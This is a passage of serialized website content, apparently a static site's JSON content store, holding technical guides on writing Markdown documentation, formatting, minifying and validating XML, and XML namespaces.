DB-->>API: user_id\n",[1560,226823,226824],{"class":1562,"line":1710},[1560,226825,226826],{},"    API-->>Client: 201 Created\n",[1560,226828,226829],{"class":1562,"line":1717},[1560,226830,226831],{},"`` `\n",[16,226833,226834],{},"For simple relationships, ASCII diagrams work everywhere and require zero tooling.",[11,226836,226838],{"id":226837},"api-reference-format","API Reference Format",[16,226840,226841],{},"API documentation in Markdown follows a consistent pattern. For each endpoint:",[135,226843,226845],{"className":34628,"code":226844,"language":34630,"meta":141,"style":141},"### POST \u002Fapi\u002Fusers\n\nCreates a new user account.\n\n**Request body:**\n\n| Field | Type | Required | Description |\n|-------|------|----------|-------------|\n| `name` | string | Yes | Display name (3–50 characters) |\n| `email` | string | Yes | Valid email address |\n| `role` | string | No | Defaults to `\"viewer\"` |\n\n**Response:** `201 Created`\n\n```json\n{\n  \"id\": \"usr_abc123\",\n  \"name\": \"Alice\",\n  \"role\": \"viewer\"\n}\n",[143,226846,226847,226852,226856,226861,226865,226870,226874,226879,226884,226889,226894,226899,226903,226908,226912,226917,226921,226926,226931,226936],{"__ignoreMap":141},[1560,226848,226849],{"class":1562,"line":1563},[1560,226850,226851],{},"### POST \u002Fapi\u002Fusers\n",[1560,226853,226854],{"class":1562,"line":337},[1560,226855,1702],{"emptyLinePlaceholder":363},[1560,226857,226858],{"class":1562,"line":343},[1560,226859,226860],{},"Creates a new user account.\n",[1560,226862,226863],{"class":1562,"line":365},[1560,226864,1702],{"emptyLinePlaceholder":363},[1560,226866,226867],{"class":1562,"line":889},[1560,226868,226869],{},"**Request body:**\n",[1560,226871,226872],{"class":1562,"line":1710},[1560,226873,1702],{"emptyLinePlaceholder":363},[1560,226875,226876],{"class":1562,"line":1717},[1560,226877,226878],{},"| Field | Type | Required | Description |\n",[1560,226880,226881],{"class":1562,"line":1747},[1560,226882,226883],{},"|-------|------|----------|-------------|\n",[1560,226885,226886],{"class":1562,"line":2507},[1560,226887,226888],{},"| `name` | string | Yes | Display name (3–50 characters) |\n",[1560,226890,226891],{"class":1562,"line":2524},[1560,226892,226893],{},"| `email` | string | Yes | Valid email address |\n",[1560,226895,226896],{"class":1562,"line":2529},[1560,226897,226898],{},"| `role` | string | No | Defaults to `\"viewer\"` |\n",[1560,226900,226901],{"class":1562,"line":2534},[1560,226902,1702],{"emptyLinePlaceholder":363},[1560,226904,226905],{"class":1562,"line":2542},[1560,226906,226907],{},"**Response:** `201 Created`\n",[1560,226909,226910],{"class":1562,"line":2558},[1560,226911,1702],{"emptyLinePlaceholder":363},[1560,226913,226914],{"class":1562,"line":2570},[1560,226915,226916],{},"```json\n",[1560,226918,226919],{"class":1562,"line":6638},[1560,226920,23493],{},[1560,226922,226923],{"class":1562,"line":11615},[1560,226924,226925],{},"  \"id\": \"usr_abc123\",\n",[1560,226927,226928],{"class":1562,"line":11621},[1560,226929,226930],{},"  \"name\": \"Alice\",\n",[1560,226932,226933],{"class":1562,"line":11633},[1560,226934,226935],{},"  \"role\": \"viewer\"\n",[1560,226937,226938],{"class":1562,"line":11638},[1560,226939,1585],{},[16,226941,226942],{},[47,226943,226944],{},"Errors:",[193,226946,226947,226958],{},[196,226948,226949],{},[199,226950,226951,226953,226955],{},[202,226952,222156],{},[202,226954,87859],{},[202,226956,226957],{},"When",[211,226959,226960,226972],{},[199,226961,226962,226964,226969],{},[216,226963,24703],{},[216,226965,226966],{},[143,226967,226968],{},"INVALID_EMAIL",[216,226970,226971],{},"Email format is invalid",[199,226973,226974,226977,226982],{},[216,226975,226976],{},"409",[216,226978,226979],{},[143,226980,226981],{},"EMAIL_EXISTS",[216,226983,226984],{},"Email already registered",[135,226986,226989],{"className":226987,"code":226988,"language":140},[138],"\nThis format lets readers scan the table for the field they need, then read the examples for context.\n\n## Maintaining Living Documentation\n\nDocumentation rots. Code changes, APIs evolve, screenshots go stale. A sustainable documentation system needs maintenance built into the workflow:\n\n- **Tie docs to code** — store `.md` files next to the code they describe in the same repository\n- **Enforce doc reviews** — require documentation updates in the same PR that changes behavior\n- **Use CI checks** — lint Markdown files with `markdownlint`, validate links with `lychee` or `linkcheck`\n- **Add freshness dates** — include a `last-reviewed` date in frontmatter; CI can flag docs older than 90 days\n- **Generate what you can** — API references, type definitions, and configuration tables can be auto-generated from code\n\n## Key Takeaways\n\n- Structure docs as: what → how → why, with quick start before deep explanation\n- Format for scanning — short paragraphs, tables for comparisons, code blocks with language identifiers\n- Every code example must be runnable — hidden dependencies destroy trust\n- Use Mermaid for diagrams when your platform supports it; ASCII works everywhere\n- Treat documentation as code — review it in PRs, lint it in CI, and track freshness dates\n\n## Related Guides\n\n- [Markdown Preview: Real-Time Rendering for Your Documents](\u002Fguides\u002Fmarkdown-preview-guide)\n- [Markdown Writing Workflow: From Draft to Published](\u002Fguides\u002Fmarkdown-writing-workflow)\n- [GitHub Flavored Markdown: Extensions and Syntax Guide](\u002Fguides\u002Fgithub-flavored-markdown)\n\n## Try It Yourself\n\nWrite and preview your technical docs with our free [Markdown Preview](\u002Ftools\u002Fmarkdown-preview) tool. Paste your Markdown, see the rendered output instantly, and catch formatting issues before publishing.\n",[143,226990,226988],{"__ignoreMap":141},[2043,226992,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":226994},[226995,226996,226997,226998,226999],{"id":226506,"depth":337,"text":226507},{"id":226588,"depth":337,"text":226589},{"id":226654,"depth":337,"text":226655},{"id":226723,"depth":337,"text":226724},{"id":226837,"depth":337,"text":226838},"Best practices for writing technical docs in Markdown — structure, formatting, diagrams, API references, and maintaining a living documentation system.",{"immutable":363},"\u002Fguides\u002Fwriting-technical-docs-markdown",{"title":226495,"description":227000},"guides\u002Fwriting-technical-docs-markdown","oyGixkpbrOmGaSrrVOR_ta9k4qoRjiln2pvj2oSYD3g",{"id":227007,"title":227008,"body":227009,"date":2070,"description":227539,"extension":361,"meta":227540,"navigation":363,"path":86155,"readingTime":889,"seo":227541,"stem":227542,"__hash__":227543},"guides\u002Fguides\u002Fxml-formatter-guide.md","XML Formatter Guide - Format and Beautify XML",{"type":8,"value":227010,"toc":227522},[227011,227015,227018,227021,227025,227030,227055,227059,227062,227066,227075,227079,227143,227146,227151,227165,227169,227172,227177,227206,227211,227220,227223,227228,227242,227246,227249,227266,227269,227274,227364,227369,227383,227385,227391,227393,227399,227405,227415,227421,227427,227429,227461,227463,227480,227484,227488,227491,227495,227498,227502,227505,227507,227520],[11,227012,227014],{"id":227013},"what-is-an-xml-formatter","What Is an XML Formatter?",[16,227016,227017],{},"An XML formatter transforms messy, unstructured XML into clean, properly indented code. When XML arrives minified from an API or lives as a single line in a config file, a formatter adds consistent indentation and line breaks so you can actually read it.",[16,227019,227020],{},"Formatting also catches structural problems. Validation checks that every opening tag has a closing tag, elements nest correctly, and the document follows well-formedness rules — before those errors break your application.",[11,227022,227024],{"id":227023},"how-to-use-the-xml-formatter-tool","How to Use the XML Formatter Tool",[16,227026,421,227027,227029],{},[98,227028,85485],{"href":85585}," gives you three operations: format, minify, and validate. Each serves a distinct purpose in your workflow.",[77,227031,227032,227038,227043,227049],{},[44,227033,227034,227037],{},[47,227035,227036],{},"Paste"," your XML into the input area",[44,227039,227040,227042],{},[47,227041,85293],{}," your indent size (2 or 4 spaces)",[44,227044,227045,227048],{},[47,227046,227047],{},"Click"," Format, Minify, or Validate",[44,227050,227051,227054],{},[47,227052,227053],{},"Copy"," the result instantly",[11,227056,227058],{"id":227057},"format-mode","Format Mode",[16,227060,227061],{},"Format mode beautifies your XML with proper indentation and line breaks. Use it when you need to read, review, or edit XML that arrives as a dense block of text.",[16,227063,227064],{},[47,227065,85511],{},[135,227067,227069],{"className":84954,"code":227068,"language":84956,"meta":141,"style":141},"\u003Ccatalog>\u003Cbook id=\"1\">\u003Ctitle>XML Basics\u003C\u002Ftitle>\u003Cauthor>Jane Doe\u003C\u002Fauthor>\u003Cprice>29.99\u003C\u002Fprice>\u003C\u002Fbook>\u003Cbook id=\"2\">\u003Ctitle>Advanced XML\u003C\u002Ftitle>\u003Cauthor>John Smith\u003C\u002Fauthor>\u003Cprice>39.99\u003C\u002Fprice>\u003C\u002Fbook>\u003C\u002Fcatalog>\n",[143,227070,227071],{"__ignoreMap":141},[1560,227072,227073],{"class":1562,"line":1563},[1560,227074,227068],{},[16,227076,227077],{},[47,227078,85525],{},[135,227080,227082],{"className":84954,"code":227081,"language":84956,"meta":141,"style":141},"\u003Ccatalog>\n  \u003Cbook id=\"1\">\n    \u003Ctitle>XML Basics\u003C\u002Ftitle>\n    \u003Cauthor>Jane Doe\u003C\u002Fauthor>\n    \u003Cprice>29.99\u003C\u002Fprice>\n  \u003C\u002Fbook>\n  \u003Cbook id=\"2\">\n    \u003Ctitle>Advanced XML\u003C\u002Ftitle>\n    \u003Cauthor>John Smith\u003C\u002Fauthor>\n    \u003Cprice>39.99\u003C\u002Fprice>\n  \u003C\u002Fbook>\n\u003C\u002Fcatalog>\n",[143,227083,227084,227089,227094,227099,227104,227109,227114,227119,227124,227129,227134,227138],{"__ignoreMap":141},[1560,227085,227086],{"class":1562,"line":1563},[1560,227087,227088],{},"\u003Ccatalog>\n",[1560,227090,227091],{"class":1562,"line":337},[1560,227092,227093],{},"  \u003Cbook id=\"1\">\n",[1560,227095,227096],{"class":1562,"line":343},[1560,227097,227098],{},"    \u003Ctitle>XML Basics\u003C\u002Ftitle>\n",[1560,227100,227101],{"class":1562,"line":365},[1560,227102,227103],{},"    \u003Cauthor>Jane Doe\u003C\u002Fauthor>\n",[1560,227105,227106],{"class":1562,"line":889},[1560,227107,227108],{},"    \u003Cprice>29.99\u003C\u002Fprice>\n",[1560,227110,227111],{"class":1562,"line":1710},[1560,227112,227113],{},"  \u003C\u002Fbook>\n",[1560,227115,227116],{"class":1562,"line":1717},[1560,227117,227118],{},"  \u003Cbook id=\"2\">\n",[1560,227120,227121],{"class":1562,"line":1747},[1560,227122,227123],{},"    \u003Ctitle>Advanced XML\u003C\u002Ftitle>\n",[1560,227125,227126],{"class":1562,"line":2507},[1560,227127,227128],{},"    \u003Cauthor>John Smith\u003C\u002Fauthor>\n",[1560,227130,227131],{"class":1562,"line":2524},[1560,227132,227133],{},"    \u003Cprice>39.99\u003C\u002Fprice>\n",[1560,227135,227136],{"class":1562,"line":2529},[1560,227137,227113],{},[1560,227139,227140],{"class":1562,"line":2534},[1560,227141,227142],{},"\u003C\u002Fcatalog>\n",[16,227144,227145],{},"The structure becomes instantly clear. You can spot each book, its attributes, and its child elements at a glance.",[16,227147,227148],{},[47,227149,227150],{},"When to use Format mode:",[41,227152,227153,227156,227159,227162],{},[44,227154,227155],{},"Debugging API responses",[44,227157,227158],{},"Reviewing XML configuration files",[44,227160,227161],{},"Editing SVG markup by hand",[44,227163,227164],{},"Preparing XML for documentation",[11,227166,227168],{"id":227167},"minify-mode","Minify Mode",[16,227170,227171],{},"Minify mode strips all unnecessary whitespace between tags while preserving text content. This produces the smallest possible representation of your XML.",[16,227173,227174],{},[47,227175,227176],{},"Before minification (207 bytes):",[135,227178,227180],{"className":84954,"code":227179,"language":84956,"meta":141,"style":141},"\u003Ccatalog>\n  \u003Cbook id=\"1\">\n    \u003Ctitle>XML Basics\u003C\u002Ftitle>\n    \u003Cauthor>Jane Doe\u003C\u002Fauthor>\n  \u003C\u002Fbook>\n\u003C\u002Fcatalog>\n",[143,227181,227182,227186,227190,227194,227198,227202],{"__ignoreMap":141},[1560,227183,227184],{"class":1562,"line":1563},[1560,227185,227088],{},[1560,227187,227188],{"class":1562,"line":337},[1560,227189,227093],{},[1560,227191,227192],{"class":1562,"line":343},[1560,227193,227098],{},[1560,227195,227196],{"class":1562,"line":365},[1560,227197,227103],{},[1560,227199,227200],{"class":1562,"line":889},[1560,227201,227113],{},[1560,227203,227204],{"class":1562,"line":1710},[1560,227205,227142],{},[16,227207,227208],{},[47,227209,227210],{},"After minification (76 bytes):",[135,227212,227214],{"className":84954,"code":227213,"language":84956,"meta":141,"style":141},"\u003Ccatalog>\u003Cbook id=\"1\">\u003Ctitle>XML Basics\u003C\u002Ftitle>\u003Cauthor>Jane Doe\u003C\u002Fauthor>\u003C\u002Fbook>\u003C\u002Fcatalog>\n",[143,227215,227216],{"__ignoreMap":141},[1560,227217,227218],{"class":1562,"line":1563},[1560,227219,227213],{},[16,227221,227222],{},"That is a 63% reduction in file size. For large XML documents, the savings compound fast.",[16,227224,227225],{},[47,227226,227227],{},"When to use Minify mode:",[41,227229,227230,227233,227236,227239],{},[44,227231,227232],{},"Reducing XML payload size before API transmission",[44,227234,227235],{},"Compressing sitemap.xml files for faster downloads",[44,227237,227238],{},"Preparing XML for embedded systems with limited storage",[44,227240,227241],{},"Stripping formatting before storing XML in a database",[11,227243,227245],{"id":227244},"validate-mode","Validate Mode",[16,227247,227248],{},"Validate mode checks whether your XML is well-formed without changing it. The tool verifies:",[41,227250,227251,227254,227257,227260,227263],{},[44,227252,227253],{},"Every opening tag has a matching closing tag",[44,227255,227256],{},"Tags nest properly — no overlapping elements",[44,227258,227259],{},"Attribute values are enclosed in quotes",[44,227261,227262],{},"The document has exactly one root element",[44,227264,227265],{},"Special characters use proper entity references",[16,227267,227268],{},"When validation finds an error, it reports the line number so you can jump straight to the problem.",[16,227270,227271],{},[47,227272,227273],{},"Common validation errors:",[193,227275,227276,227286],{},[196,227277,227278],{},[199,227279,227280,227282,227284],{},[202,227281,4272],{},[202,227283,133],{},[202,227285,3690],{},[211,227287,227288,227303,227316,227329,227345],{},[199,227289,227290,227293,227298],{},[216,227291,227292],{},"Unclosed tag",[216,227294,227295],{},[143,227296,227297],{},"\u003Cnote>Hello",[216,227299,59390,227300],{},[143,227301,227302],{},"\u003C\u002Fnote>",[199,227304,227305,227308,227313],{},[216,227306,227307],{},"Improper nesting",[216,227309,227310],{},[143,227311,227312],{},"\u003Cb>\u003Ci>text\u003C\u002Fb>\u003C\u002Fi>",[216,227314,227315],{},"Swap closing tags",[199,227317,227318,227321,227326],{},[216,227319,227320],{},"Duplicate attribute",[216,227322,227323],{},[143,227324,227325],{},"\u003Citem id=\"1\" id=\"2\">",[216,227327,227328],{},"Remove one attribute",[199,227330,227331,227336,227341],{},[216,227332,227333,227334],{},"Unescaped ",[143,227335,6431],{},[216,227337,227338],{},[143,227339,227340],{},"\u003Cequation>5 \u003C 10\u003C\u002Fequation>",[216,227342,1388,227343],{},[143,227344,116644],{},[199,227346,227347,227350,227358],{},[216,227348,227349],{},"Missing root",[216,227351,227352,6841,227355],{},[143,227353,227354],{},"\u003Ca\u002F>",[143,227356,227357],{},"\u003Cb\u002F>",[216,227359,227360,227361,119896],{},"Wrap in ",[143,227362,227363],{},"\u003Croot>",[16,227365,227366],{},[47,227367,227368],{},"When to use Validate mode:",[41,227370,227371,227374,227377,227380],{},[44,227372,227373],{},"Checking XML before sending it to a parser",[44,227375,227376],{},"Verifying SOAP request bodies",[44,227378,227379],{},"Catching typos in hand-edited XML",[44,227381,227382],{},"Testing XML generated by your application",[11,227384,286],{"id":285},[16,227386,227387,227388,227390],{},"Ready to clean up your XML? Use the ",[98,227389,85485],{"href":85585}," to format, minify, and validate your XML data in seconds. No installation required — paste your XML and go.",[11,227392,103922],{"id":103921},[16,227394,227395,227398],{},[47,227396,227397],{},"API responses."," REST and SOAP APIs often return XML in minified form for bandwidth efficiency. Formatting the response makes it readable for debugging.",[16,227400,227401,227404],{},[47,227402,227403],{},"Configuration files."," Spring, Maven, Tomcat, and many other tools use XML configuration. Formatted XML is far easier to edit without introducing errors.",[16,227406,227407,227410,227411,227414],{},[47,227408,227409],{},"Sitemaps."," Search engine sitemaps (",[143,227412,227413],{},"sitemap.xml",") grow large quickly. Minifying them reduces crawl download time. Formatting them makes manual review possible.",[16,227416,227417,227420],{},[47,227418,227419],{},"SVG files."," SVG images are XML under the hood. Formatting SVG markup helps you understand and modify vector graphics by hand.",[16,227422,227423,227426],{},[47,227424,227425],{},"RSS and Atom feeds."," Feed data arrives as XML. Formatting reveals the structure so you can inspect channel metadata and individual entries.",[11,227428,7272],{"id":7271},[41,227430,227431,227437,227443,227449,227455],{},[44,227432,227433,227436],{},[47,227434,227435],{},"Pick one indent size"," — 2 or 4 spaces — and use it consistently across your project",[44,227438,227439,227442],{},[47,227440,227441],{},"Validate first, format second"," — catch structural errors before you start editing",[44,227444,227445,227448],{},[47,227446,227447],{},"Keep a readable copy"," — always maintain a formatted version. Minify only for production",[44,227450,227451,227454],{},[47,227452,227453],{},"Minimize attribute count"," — if an element has more than 3 or 4 attributes, convert some to child elements for readability",[44,227456,227457,227460],{},[47,227458,227459],{},"Run validation on every edit"," — a quick check prevents cascading errors",[11,227462,1355],{"id":1354},[41,227464,227465,227468,227471,227474,227477],{},[44,227466,227467],{},"Formatting adds indentation and line breaks to make XML readable",[44,227469,227470],{},"Minification strips whitespace to minimize file size — ideal for production",[44,227472,227473],{},"Validation checks well-formedness and reports errors with line numbers",[44,227475,227476],{},"Always validate before editing to establish a correct baseline",[44,227478,227479],{},"Use formatting for development and debugging; use minification for deployment",[11,227481,227483],{"id":227482},"frequently-asked-questions","Frequently Asked Questions",[33,227485,227487],{"id":227486},"does-the-xml-formatter-change-my-data","Does the XML Formatter change my data?",[16,227489,227490],{},"No. Formatting only adjusts whitespace — indentation and line breaks. It never modifies element names, attribute values, or text content. Minification removes whitespace between tags but preserves all text content inside elements.",[33,227492,227494],{"id":227493},"what-is-the-difference-between-well-formed-and-valid-xml","What is the difference between well-formed and valid XML?",[16,227496,227497],{},"Well-formed XML follows syntax rules: proper nesting, closed tags, one root element, and escaped special characters. Valid XML goes further — it conforms to a schema (like XSD or DTD) that defines allowed elements, attributes, and structure. The XML Formatter checks well-formedness, not schema validity.",[33,227499,227501],{"id":227500},"can-i-format-large-xml-files","Can I format large XML files?",[16,227503,227504],{},"Yes. The XML Formatter handles documents up to several megabytes. For files over 10 MB, performance depends on your browser's available memory. If formatting feels slow, try validating first to catch errors before reformatting.",[11,227506,321],{"id":320},[41,227508,227509,227514],{},[44,227510,227511,227513],{},[98,227512,86163],{"href":86162}," — Compare the two most popular data formats",[44,227515,227516,227519],{},[98,227517,227518],{"href":86186},"Data Formatting Tools"," — Essential tools for formatting code and data",[2043,227521,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":227523},[227524,227525,227526,227527,227528,227529,227530,227531,227532,227533,227538],{"id":227013,"depth":337,"text":227014},{"id":227023,"depth":337,"text":227024},{"id":227057,"depth":337,"text":227058},{"id":227167,"depth":337,"text":227168},{"id":227244,"depth":337,"text":227245},{"id":285,"depth":337,"text":286},{"id":103921,"depth":337,"text":103922},{"id":7271,"depth":337,"text":7272},{"id":1354,"depth":337,"text":1355},{"id":227482,"depth":337,"text":227483,"children":227534},[227535,227536,227537],{"id":227486,"depth":343,"text":227487},{"id":227493,"depth":343,"text":227494},{"id":227500,"depth":343,"text":227501},{"id":320,"depth":337,"text":321},"Learn how to use an XML formatter. Format, minify, and validate XML data with proper indentation and line breaks.",{"immutable":363},{"title":227008,"description":227539},"guides\u002Fxml-formatter-guide","OAd4oPU976zF7Z2VEia1CUS7vRopfe-M13lkq5g-m_I",{"id":227545,"title":227546,"body":227547,"date":2070,"description":228124,"extension":361,"meta":228125,"navigation":363,"path":228126,"readingTime":889,"seo":228127,"stem":228128,"__hash__":228129},"guides\u002Fguides\u002Fxml-namespaces-explained.md","XML Namespaces Explained",{"type":8,"value":227548,"toc":228110},[227549,227553,227559,227569,227573,227580,227600,227611,227615,227618,227647,227657,227661,227664,227707,227721,227725,227731,227761,227771,227777,227802,227806,227809,227838,227867,227870,227885,227889,227892,227922,227931,227935,228037,228044,228046,228078,228080,228100,228102,228108],[11,227550,227552],{"id":227551},"why-namespaces-exist","Why Namespaces Exist",[16,227554,227555,227556,227558],{},"XML lets you define your own element names. That freedom creates collisions when you combine documents from different sources. Two ",[143,227557,12666],{}," elements might mean completely different things — a book title versus a job title.",[16,227560,227561,227562,1856,227565,227568],{},"Namespaces solve this by attaching a URI to element and attribute names, making them globally unique. ",[143,227563,227564],{},"\u003Cbook:title>",[143,227566,227567],{},"\u003Cjob:title>"," are now distinct, even though the local name is the same.",[11,227570,227572],{"id":227571},"the-namespace-declaration","The Namespace Declaration",[16,227574,227575,227576,227579],{},"Namespaces are declared with the ",[143,227577,227578],{},"xmlns"," attribute:",[135,227581,227583],{"className":84954,"code":227582,"language":84956,"meta":141,"style":141},"\u003Cbook xmlns=\"http:\u002F\u002Fexample.com\u002Fbook\">\n  \u003Ctitle>XML Basics\u003C\u002Ftitle>\n\u003C\u002Fbook>\n",[143,227584,227585,227590,227595],{"__ignoreMap":141},[1560,227586,227587],{"class":1562,"line":1563},[1560,227588,227589],{},"\u003Cbook xmlns=\"http:\u002F\u002Fexample.com\u002Fbook\">\n",[1560,227591,227592],{"class":1562,"line":337},[1560,227593,227594],{},"  \u003Ctitle>XML Basics\u003C\u002Ftitle>\n",[1560,227596,227597],{"class":1562,"line":343},[1560,227598,227599],{},"\u003C\u002Fbook>\n",[16,227601,227602,227603,227606,227607,227610],{},"This applies the namespace ",[143,227604,227605],{},"http:\u002F\u002Fexample.com\u002Fbook"," to the ",[143,227608,227609],{},"\u003Cbook>"," element and all its descendants — unless overridden by another declaration.",[33,227612,227614],{"id":227613},"prefixed-namespaces","Prefixed Namespaces",[16,227616,227617],{},"When you need multiple namespaces in one document, use prefixes:",[135,227619,227621],{"className":84954,"code":227620,"language":84956,"meta":141,"style":141},"\u003Ccatalog xmlns:book=\"http:\u002F\u002Fexample.com\u002Fbook\"\n         xmlns:job=\"http:\u002F\u002Fexample.com\u002Fjob\">\n  \u003Cbook:title>XML Basics\u003C\u002Fbook:title>\n  \u003Cjob:title>Senior Developer\u003C\u002Fjob:title>\n\u003C\u002Fcatalog>\n",[143,227622,227623,227628,227633,227638,227643],{"__ignoreMap":141},[1560,227624,227625],{"class":1562,"line":1563},[1560,227626,227627],{},"\u003Ccatalog xmlns:book=\"http:\u002F\u002Fexample.com\u002Fbook\"\n",[1560,227629,227630],{"class":1562,"line":337},[1560,227631,227632],{},"         xmlns:job=\"http:\u002F\u002Fexample.com\u002Fjob\">\n",[1560,227634,227635],{"class":1562,"line":343},[1560,227636,227637],{},"  \u003Cbook:title>XML Basics\u003C\u002Fbook:title>\n",[1560,227639,227640],{"class":1562,"line":365},[1560,227641,227642],{},"  \u003Cjob:title>Senior Developer\u003C\u002Fjob:title>\n",[1560,227644,227645],{"class":1562,"line":889},[1560,227646,227142],{},[16,227648,227649,227650,12674,227653,227656],{},"The prefix is a shorthand — the XML parser replaces ",[143,227651,227652],{},"book:title",[143,227654,227655],{},"{http:\u002F\u002Fexample.com\u002Fbook}title"," internally. The prefix name itself is irrelevant; only the URI matters.",[11,227658,227660],{"id":227659},"the-uri-vs-the-prefix","The URI vs. the Prefix",[16,227662,227663],{},"A common misconception: the namespace URI does not need to point to a real web page. It is an identifier, not a link.",[135,227665,227667],{"className":84954,"code":227666,"language":84956,"meta":141,"style":141},"\u003C!-- These are the SAME namespace — same URI, different prefixes -->\n\u003Cdoc xmlns:a=\"http:\u002F\u002Fexample.com\u002Fns\">\n  \u003Ca:item>Hello\u003C\u002Fa:item>\n\u003C\u002Fdoc>\n\n\u003Cdoc xmlns:b=\"http:\u002F\u002Fexample.com\u002Fns\">\n  \u003Cb:item>Hello\u003C\u002Fb:item>\n\u003C\u002Fdoc>\n",[143,227668,227669,227674,227679,227684,227689,227693,227698,227703],{"__ignoreMap":141},[1560,227670,227671],{"class":1562,"line":1563},[1560,227672,227673],{},"\u003C!-- These are the SAME namespace — same URI, different prefixes -->\n",[1560,227675,227676],{"class":1562,"line":337},[1560,227677,227678],{},"\u003Cdoc xmlns:a=\"http:\u002F\u002Fexample.com\u002Fns\">\n",[1560,227680,227681],{"class":1562,"line":343},[1560,227682,227683],{},"  \u003Ca:item>Hello\u003C\u002Fa:item>\n",[1560,227685,227686],{"class":1562,"line":365},[1560,227687,227688],{},"\u003C\u002Fdoc>\n",[1560,227690,227691],{"class":1562,"line":889},[1560,227692,1702],{"emptyLinePlaceholder":363},[1560,227694,227695],{"class":1562,"line":1710},[1560,227696,227697],{},"\u003Cdoc xmlns:b=\"http:\u002F\u002Fexample.com\u002Fns\">\n",[1560,227699,227700],{"class":1562,"line":1717},[1560,227701,227702],{},"  \u003Cb:item>Hello\u003C\u002Fb:item>\n",[1560,227704,227705],{"class":1562,"line":1747},[1560,227706,227688],{},[16,227708,227709,227710,1856,227713,227716,227717,227720],{},"Both ",[143,227711,227712],{},"\u003Ca:item>",[143,227714,227715],{},"\u003Cb:item>"," expand to ",[143,227718,227719],{},"{http:\u002F\u002Fexample.com\u002Fns}item",". The parser treats them as identical.",[11,227722,227724],{"id":227723},"default-namespace","Default Namespace",[16,227726,227727,227728,227730],{},"An ",[143,227729,227578],{}," declaration without a prefix sets the default namespace for the element and its descendants:",[135,227732,227734],{"className":84954,"code":227733,"language":84956,"meta":141,"style":141},"\u003Ctable xmlns=\"http:\u002F\u002Fwww.w3.org\u002F1999\u002Fxhtml\">\n  \u003Ctr>\n    \u003Ctd>Data cell\u003C\u002Ftd>\n  \u003C\u002Ftr>\n\u003C\u002Ftable>\n",[143,227735,227736,227741,227746,227751,227756],{"__ignoreMap":141},[1560,227737,227738],{"class":1562,"line":1563},[1560,227739,227740],{},"\u003Ctable xmlns=\"http:\u002F\u002Fwww.w3.org\u002F1999\u002Fxhtml\">\n",[1560,227742,227743],{"class":1562,"line":337},[1560,227744,227745],{},"  \u003Ctr>\n",[1560,227747,227748],{"class":1562,"line":343},[1560,227749,227750],{},"    \u003Ctd>Data cell\u003C\u002Ftd>\n",[1560,227752,227753],{"class":1562,"line":365},[1560,227754,227755],{},"  \u003C\u002Ftr>\n",[1560,227757,227758],{"class":1562,"line":889},[1560,227759,227760],{},"\u003C\u002Ftable>\n",[16,227762,119547,227763,1459,227765,1466,227768,227770],{},[143,227764,67752],{},[143,227766,227767],{},"\u003Ctr>",[143,227769,109890],{}," are in the XHTML namespace. No prefix needed.",[16,227772,227773,227776],{},[47,227774,227775],{},"To switch back to no namespace",", declare an empty default namespace:",[135,227778,227780],{"className":84954,"code":227779,"language":84956,"meta":141,"style":141},"\u003Cdocument xmlns=\"http:\u002F\u002Fexample.com\u002Fdoc\">\n  \u003Csection>Namespaced content\u003C\u002Fsection>\n  \u003Craw xmlns=\"\">Unnamespaced content\u003C\u002Fraw>\n\u003C\u002Fdocument>\n",[143,227781,227782,227787,227792,227797],{"__ignoreMap":141},[1560,227783,227784],{"class":1562,"line":1563},[1560,227785,227786],{},"\u003Cdocument xmlns=\"http:\u002F\u002Fexample.com\u002Fdoc\">\n",[1560,227788,227789],{"class":1562,"line":337},[1560,227790,227791],{},"  \u003Csection>Namespaced content\u003C\u002Fsection>\n",[1560,227793,227794],{"class":1562,"line":343},[1560,227795,227796],{},"  \u003Craw xmlns=\"\">Unnamespaced content\u003C\u002Fraw>\n",[1560,227798,227799],{"class":1562,"line":365},[1560,227800,227801],{},"\u003C\u002Fdocument>\n",[11,227803,227805],{"id":227804},"attributes-and-namespaces","Attributes and Namespaces",[16,227807,227808],{},"Attributes behave differently from elements:",[135,227810,227812],{"className":84954,"code":227811,"language":84956,"meta":141,"style":141},"\u003Cbook xmlns=\"http:\u002F\u002Fexample.com\u002Fbook\"\n      id=\"123\"\n      xml:lang=\"en\">\n  \u003Ctitle>XML Namespaces\u003C\u002Ftitle>\n\u003C\u002Fbook>\n",[143,227813,227814,227819,227824,227829,227834],{"__ignoreMap":141},[1560,227815,227816],{"class":1562,"line":1563},[1560,227817,227818],{},"\u003Cbook xmlns=\"http:\u002F\u002Fexample.com\u002Fbook\"\n",[1560,227820,227821],{"class":1562,"line":337},[1560,227822,227823],{},"      id=\"123\"\n",[1560,227825,227826],{"class":1562,"line":343},[1560,227827,227828],{},"      xml:lang=\"en\">\n",[1560,227830,227831],{"class":1562,"line":365},[1560,227832,227833],{},"  \u003Ctitle>XML Namespaces\u003C\u002Ftitle>\n",[1560,227835,227836],{"class":1562,"line":889},[1560,227837,227599],{},[41,227839,227840,227848,227860],{},[44,227841,227842,23567,227844,227847],{},[143,227843,34747],{},[47,227845,227846],{},"Not"," in any namespace. Unprefixed attributes are always in no namespace, even when the element has a default namespace.",[44,227849,227850,227853,227854,227856,227857,9368],{},[143,227851,227852],{},"xml:lang"," — In the built-in ",[143,227855,84956],{}," namespace (",[143,227858,227859],{},"http:\u002F\u002Fwww.w3.org\u002FXML\u002F1998\u002Fnamespace",[44,227861,227862,227864,227865,468],{},[143,227863,108868],{}," — In the default namespace ",[143,227866,227605],{},[16,227868,227869],{},"This is a frequent source of confusion. To put an attribute in a namespace, you must use a prefix:",[135,227871,227873],{"className":84954,"code":227872,"language":84956,"meta":141,"style":141},"\u003Cbook xmlns:isbn=\"http:\u002F\u002Fexample.com\u002Fisbn\"\n      isbn:number=\"978-0123456789\">\n",[143,227874,227875,227880],{"__ignoreMap":141},[1560,227876,227877],{"class":1562,"line":1563},[1560,227878,227879],{},"\u003Cbook xmlns:isbn=\"http:\u002F\u002Fexample.com\u002Fisbn\"\n",[1560,227881,227882],{"class":1562,"line":337},[1560,227883,227884],{},"      isbn:number=\"978-0123456789\">\n",[11,227886,227888],{"id":227887},"namespace-scope","Namespace Scope",[16,227890,227891],{},"Namespace declarations apply to the element where they are declared and all descendants. Child elements can override:",[135,227893,227895],{"className":84954,"code":227894,"language":84956,"meta":141,"style":141},"\u003Croot xmlns=\"http:\u002F\u002Fexample.com\u002Fdefault\">\n  \u003Cchild>Default namespace\u003C\u002Fchild>\n  \u003Cchild xmlns=\"http:\u002F\u002Fexample.com\u002Fother\">Different namespace\u003C\u002Fchild>\n  \u003Cchild>Back to default 